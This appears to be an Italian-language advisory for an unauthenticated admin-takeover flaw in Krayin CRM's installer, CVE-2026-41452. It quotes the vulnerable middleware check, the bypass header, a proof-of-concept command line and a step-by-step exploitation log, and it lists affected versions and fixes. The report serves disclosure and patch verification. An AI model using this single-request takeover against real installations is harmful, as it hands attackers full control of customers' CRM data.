
CVE-2026-41452 — Bypass non autenticato dell'installer di Krayin CRM (X-Requested-With) → acquisizione dell'account admin. Verificato: sovrascrittura + login su 2.2.4, bloccato su 2.2.5
CVSS 9.8 (Critico) · CWE-287 / CWE-306 · Report di Jiva · VulnCheck
L'installer di Krayin CRM espone POST /install/api/admin-config-setup (più run-migration, run-seeder) senza protezione CSRF (gruppo withoutMiddleware('web')). Il middleware globale CanInstall blocca la rotta solo per le richieste non-AJAX:
// app/Http/Middleware/CanInstall.php
if ($this->isAlreadyInstalled() && ! $request->ajax()) {
return redirect()->route('admin.dashboard');
}
L'invio di X-Requested-With: XMLHttpRequest salta interamente il controllo. Il controller esegue quindi un updateOrInsert sull'admin primario hardcoded (user id=1) con nome/email/password forniti dall'attaccante (role_id=1, status=1) → compromissione totale dell'admin senza autenticazione su un'istanza già installata.
Versioni affette: ≤ 2.2.0 e 2.2.4 (regressione). Corretta in 2.2.1 (e4eb96f5), regressione in 2.2.4 (6a7bc4cc), nuovamente corretta in 2.2.5 (ea4919a8). master era ancora vulnerabile al momento della ricerca.
python3 poc_cve-2026-41452.py http://TARGET newadmin [email protected] 'NewPass@123'
Catena:
X-Requested-With: XMLHttpRequest → HTTP 200 1 → admin (id=1) sovrascritto/admin/login con le nuove credenziali → reindirizzamento a /admin/dashboard[0] NON-AJAX POST -> HTTP 302 (blocked by CanInstall) [OK control]
[1] AJAX POST /install/api/admin-config-setup -> HTTP 200 '1' [OK overwrite]
[2] login [email protected] -> HTTP 302 /admin/dashboard [OK]
[3] GET /admin/dashboard -> HTTP 200 (full dashboard) [OK]
=== VERDICT: CVE-2026-41452 EXPLOITABLE ===
Confronto con la build corretta: con i file v2.2.5 la stessa POST AJAX → HTTP 403 (bloccata).
Qualsiasi installazione Krayin CRM raggiungibile pubblicamente (v2.2.4 o ≤2.2.0) può essere completamente compromessa da un attaccante non autenticato con una singola richiesta. Nessun CSRF, nessuna credenziale, nessuna interazione richiesta.
ea4919a8 (v2.2.5) · Regressione: 6a7bc4cc (v2.2.4) · Primo fix: e4eb96f5 (v2.2.1)